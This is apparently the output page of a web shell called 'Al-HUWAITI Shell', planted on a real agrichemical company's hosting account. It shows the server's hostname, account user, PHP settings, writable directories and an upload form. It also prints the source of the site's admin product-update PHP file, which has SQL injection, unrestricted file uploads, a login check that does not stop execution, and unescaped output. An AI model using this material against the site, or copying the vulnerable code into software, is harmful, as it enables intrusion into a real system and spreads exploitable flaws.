Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web1002.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u811747229 ( 811747229)
PHP Version : 8.0.30
Disable Function : NONE
Directory :  /home/u811747229/domains/lakshiagrichem.com/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u811747229/domains/lakshiagrichem.com/public_html/admin/update_plant.php
<?php
include("../db.php");
session_start();
// *************************************** checking *****************************************
if (empty($_SESSION["admin_email"])) {
    header("location:../index.php");
}
// *************************************** Selecting *****************************************
$id=$_GET["id"];
$select="SELECT * FROM bio_products WHERE id='$id'";
$result=mysqli_query($conn,$select);
$row=mysqli_fetch_assoc($result);

// *************************************** bio  *****************************************
if(isset($_POST["bio"])){
    $pb_name=$_POST["PB_name"];
    $subtitle_b=$_POST["subtitle_b"];
    $detail=$_POST["detail"];
    $category_b=$_POST["Category_b"];
    if(isset($_FILES["f_image"])){
        $filename = $_FILES["f_image"]["name"];
        $tempname = $_FILES["f_image"]["tmp_name"];
        $folder="front_img/".$filename;
    }
    if(isset($_FILES["inimg"])){
        $filename1 = $_FILES["inimg"]["name"];
        $tempname1 = $_FILES["inimg"]["tmp_name"];
        $folder1="in_img/".$filename1;
    }


    if(empty($filename1) && empty($filename)){
        $update="UPDATE bio_products SET p_name='$pb_name',subtitle='$subtitle_b',details='$detail' WHERE id='$id'";
        mysqli_query($conn,$update);
        header("location:product.php");
    }else if(empty($filename)){
            move_uploaded_file($tempname1,$folder1);
            $update="UPDATE bio_products SET p_name='$pb_name',subtitle='$subtitle_b',details='$detail',in_img='$folder1' WHERE id='$id'";
            mysqli_query($conn,$update);
            header("location:product.php");
        }else if(empty($filename1)){
            move_uploaded_file($tempname,$folder);
            $update="UPDATE bio_products SET p_name='$pb_name',subtitle='$subtitle_b',details='$detail',front_img='$folder' WHERE id='$id'";
            mysqli_query($conn,$update);
            header("location:product.php");
        }else{
            move_uploaded_file($tempname,$folder);
            move_uploaded_file($tempname1,$folder1);
            $update="UPDATE bio_products SET p_name='$pb_name',subtitle='$subtitle_b',details='$detail',front_img='$folder',in_img='$folder1' WHERE id='$id'";
            mysqli_query($conn,$update);
            header("location:product.php");
        }
    }

        


?>



<!DOCTYPE html>
<html lang="en">

<head>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Lakshi Agrichem Admin Dashbord</title>
    <link rel="shortcut icon" href="../assets//images/LOGO.png" type="image/svg+xml">
    <!--Google Font-->
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500&display=swap" rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-MrcW6ZMFYlzcLA8Nl+NtUVF0sA7MsXsP1UyJoMp4YLEuNSfAP+JcXn/tWtIaxVXM" crossorigin="anonymous"></script>

    <!--Stylesheet-->
    <link rel="stylesheet" href="addproducts.css">
</head>

<body>

    <div class="nine">
        <h1>Update PRODUCTS<span>Agro chem</span></h1>
        <div class="container">
<!-- ********************************************* bio ********************************************************* -->
<form action="<?php htmlspecialchars($_SERVER["PHP_SELF"]) ?>" method="post" enctype="multipart/form-data">
                <br>
                    <div class="row">
                        <div class="col">
                            <input type="text" class="form-control" name="PB_name" value="<?php echo $row["p_name"] ?>" placeholder="Product Name" aria-label="First name" autocomplete="off">
                        </div>
                        <div class="col">
                            <input type="text" class="form-control" name="subtitle_b" value="<?php echo $row["subtitle"] ?>" placeholder="Subtitle" aria-label="Last name" autocomplete="off">
                        </div>
                    </div>
                    <br>
                    <div class="input-group">
                        <span class="input-group-text">Enter Details</span>
                        <input type="text" class="form-control" name="detail" value="<?php echo $row["details"] ?>" placeholder="Subtitle" aria-label="Last name" autocomplete="off">
                    </div>
                    <br>
                    <div class="mb-3">
                    <label for="formFile" class="form-label">Enter Front image</label>
                    <input class="form-control" type="file" name="f_image" id="formFile">
                        </div>
                    <div class="mb-3">
                        <label for="formFile" class="form-label">Enter In Image</label>
                        <input name="inimg" class="form-control" type="file" id="formFile">
                    </div>
                    <button type="submit" name="bio" value="bio" class="btn btn-primary">Submit</button>
                    <a href="product.php" class="btn btn-outline-secondary">cancle</a>
                    <br>
                </form>
        </div>
</body>

</html>

Al-HUWAITI Shell